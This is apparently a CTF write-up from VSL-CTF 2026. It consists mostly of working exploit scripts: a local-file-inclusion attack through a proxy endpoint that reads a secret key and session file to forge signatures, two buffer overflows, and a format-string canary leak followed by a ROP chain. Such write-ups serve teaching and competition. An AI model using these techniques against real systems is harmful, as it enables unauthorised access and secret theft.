Intro
Hey everyone! š
I recently participated in VSL-CTF 2026 organized by VKU Security Lab - VSL, and it was an absolute blast! My team, Xnxploit, secured the 29th place.
The challenges were awesome. A big thanks to the VSL Admin Team and challenge authors. Kudos to you guys! š
In this post, Iām excited to share my write-ups for the challenges I solved. Hopefully you find these solutions helpful.

Web
mrGraph
Cornhub
Key game
import requests
import re
import hashlib
import sys
TARGET_HOST = "http://124.197.22.141:7878"
PROXY_ENDPOINT = "/javascript/jquery-jfeed/proxy.php"
s = requests.Session()
def log(msg):
print(f"[*] {msg}")
def get_file_via_lfi(filepath):
url = f"{TARGET_HOST}{PROXY_ENDPOINT}"
params = {'url': f'file://{filepath}'}
try:
r = s.get(url, params=params, timeout=5)
return r.text
except Exception as e:
log(f"{e}")
return None
def solve():
log("SEND respawn request to create new map...")
resp = s.get(f"{TARGET_HOST}/index.php?act=respawn")
phpsessid = s.cookies.get('PHPSESSID')
if not phpsessid:
log("Error: Could not retrieve PHPSESSID.")
return
log(f"Current Session ID : {phpsessid}")
# READING SECRET_KEY
log("Reading file /var/www/secret_key.txt...")
secret_key_content = get_file_via_lfi("/var/www/secret_key.txt")
if not secret_key_content or "failed" in secret_key_content:
log("An error occurred while reading secret_key.txt.")
return
SECRET_KEY = secret_key_content.strip()
log(f"LEAKED SECRET_KEY: {SECRET_KEY}")
sess_path = f"/tmp/sess_{phpsessid}"
log(f"READING file session: {sess_path}...")
sess_data = get_file_via_lfi(sess_path)
if not sess_data:
log("Error reading session file.")
return
matches = re.findall(r'i:(\d+);i:([01]);', sess_data)
if len(matches) < 40:
log("Error: Could not find enough path data in session file.")
log(f"Data raw: {sess_data[:200]}...")
return
path_map = {int(k): int(v) for k, v in matches}
SORTED_PATH = [path_map[i] for i in range(40)]
log(f"MAP: {SORTED_PATH}")
log("SENDING REQUEST...")
for step, side in enumerate(SORTED_PATH):
raw_string = f"{SECRET_KEY}|{step}|{side}"
signature = hashlib.md5(raw_string.encode()).hexdigest()
params = {
'act': 'move',
'step': step,
'side': side,
'h': signature
}
# move
r = s.get(f"{TARGET_HOST}/index.php", params=params)
if "You Win" in r.text:
flag = r.text.split('|')[-1]
print("\n" + "#"*50)
print(f"FLAG FOUND! FLAG: {flag}")
return
if "ok" not in r.text:
log(f"FAILED at {step} (Side {side}). Server res: {r.text}")
return
sys.stdout.write(f"\rStep {step+1}/40 OK...")
sys.stdout.flush()
if __name__ == "__main__":
solve()
Compress Server
Trust issues
Pwn
Highlands
#!/usr/bin/env python3
from pwn import *
exe = ELF("./highlands")
context.binary = exe
context.log_level = 'debug'
# context.arch = 'amd64'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
def ru(delim): return p.recvuntil(delim)
def rl(): return p.recvline()
def r(n): return p.recv(n)
gdbscript = '''
init-pwndbg
continue
'''
def conn():
if args.REMOTE:
return remote("HOST_ADDRESS", 1337)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
# return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
return process([exe.path])
p = conn()
# --- Exploit ---
# Payload
payload = cyclic(36) + p32(0xcafebabe)
s(payload)
p.interactive()
Dog-Bark-None-Bite
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
context.binary = exe
context.log_level = 'debug'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
# context.arch = 'amd64'
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
gdbscript = '''
c
'''
def conn():
if args.REMOTE:
return remote("HOST_ADDRESS", 1337)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
# return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
return process([exe.path])
p = conn()
def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
def ru(delim): return p.recvuntil(delim)
def rl(): return p.recvline()
def r(n): return p.recv(n)
# --- Exploit ---
# Payload
payload = b"President" + b'\x00' + cyclic(22)
sa(b'name: \n', payload)
p.interactive()
Warden
#!/usr/bin/env python3
from pwn import *
exe = ELF("./warden")
context.binary = exe
context.log_level = 'debug'
# context.arch = 'amd64'
context.terminal = ["cmd.exe", "/c", "start", "wsl.exe", "-e"]
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
def sla(delim, data): return p.sendlineafter(delim, data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
def ru(delim): return p.recvuntil(delim)
def rl(): return p.recvline()
def r(n): return p.recv(n)
gdbscript = '''
init-pwndbg
continue
'''
def conn():
if args.REMOTE:
return remote("HOST_ADDRESS", 1337)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
# return process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})
return process([exe.path])
p = conn()
# --- Exploit ---
# Payload
ru(b"breached.\n")
sl(b'%15$p|%19$p')
raw_output = p.recvline()
clean_output = raw_output.split(b'Pow')[0].strip()
leak_data = clean_output.split(b'|')
canary = int(leak_data[0], 16)
leak_main_ret = int(leak_data[1], 16)
log.success(f"Canary: {hex(canary)}")
log.success(f"Leak Ret: {hex(leak_main_ret)}")
offset_ret_main = 0x14fd
exe.address = leak_main_ret - offset_ret_main
log.success(f"PIE Base: {hex(exe.address)}")
rop = ROP(exe)
pop_ret = rop.find_gadget(['pop ebx', 'ret'])[0]
payload = flat(
exe.symbols['braum'],
pop_ret,
4919,
exe.symbols['ornn'],
pop_ret,
1056,
exe.symbols['thress'],
pop_ret,
0xdeadbeef,
exe.symbols['win'],
0x0,
291
)
final_payload = b'A' * 32 + p32(canary) + b'B' * 12 + payload
log.info("Sending payload...")
sl(final_payload)
p.interactive()